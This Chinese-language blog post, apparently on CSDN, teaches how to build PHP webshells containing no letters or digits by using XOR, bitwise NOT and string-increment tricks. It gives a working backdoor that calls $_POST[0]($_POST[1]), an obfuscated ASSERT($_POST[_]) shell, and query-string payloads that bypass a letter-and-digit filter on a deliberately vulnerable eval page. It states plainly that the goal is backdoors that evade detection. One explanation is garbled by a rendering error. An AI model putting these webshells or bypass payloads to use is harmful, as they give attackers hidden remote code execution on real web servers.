过滤字符,绕过

构造不包含字母和数字的webshell

bash 复制代码
<?php
    echo "A"^"`";
?>

运行结果为!

代码中对字符"A"和字符"`"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

在php中,异或操作是两个二进制数相同时,异或为0,不同为1。

PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理。

bash 复制代码
<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

执行结果为:Hello Angel_Kitty

$++;这行代码的意思是对变量名为""的变量进行自增操作,在PHP中未定义的变量默认值为null,null ==false= =0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

PHP后门

bash 复制代码
<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

异或进行绕过

bash 复制代码
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

payload

bash 复制代码
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
$_GET[_]();&
<?php
    echo "`{{{"^"?<>/";//_GET
?>

"`{{{"^"?<>/"的结果是"GET",所以KaTeX parse error: Expected '}', got 'EOF' at end of input: { }_=$GET_,而此时 =getFlag

取反进行绕过

bash 复制代码
<?php
$a = "getFlag";
echo urlencode(~$a);
?>

payload:

bash 复制代码
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

利用php语法绕过

利用php语法规则,在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。如何拿到一个值为字符串'a'的变量,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,再取这个字符串的第一个字母,就可以获得'A'了。

bash 复制代码
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
 
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

payload:

bash 复制代码
?code=$啊="@@^|@@@"^"'%*:,!'";$啊();
相关推荐
❥ღ Komo·28 分钟前
K8s1.28.15网络插件Calico全解析
开发语言·php
yong999012 小时前
基于C#与三菱FX5U PLC实现以太网通信
网络·c#·php
wxin_VXbishe14 小时前
springboot居家养老管理系统-计算机毕业设计源码55953
java·c++·spring boot·python·spring·django·php
老兵发新帖17 小时前
ubuntu网络管理功能分析
数据库·ubuntu·php
毕设源码-钟学长18 小时前
【开题答辩全过程】以 基于PHP的家常菜谱教程网站为例,包含答辩的问题和答案
开发语言·php
星光一影18 小时前
美容/心理咨询/问诊/法律咨询/牙医预约/线上线下预约/牙医行业通用医疗预约咨询小程序
mysql·小程序·vue·php·uniapp
jllllyuz20 小时前
基于遗传算法的33节点配电网网络重构MATLAB实现
matlab·重构·php
白狐_79820 小时前
计算机网络复习全书(详细整理)
开发语言·计算机网络·php
bing.shao21 小时前
Golang select多路复用踩坑
数据库·golang·php
catchadmin21 小时前
Laravel + Vue3 前后端分离开源后台管理框架 CatchAdmin v5.0 Beta 发布
php·laravel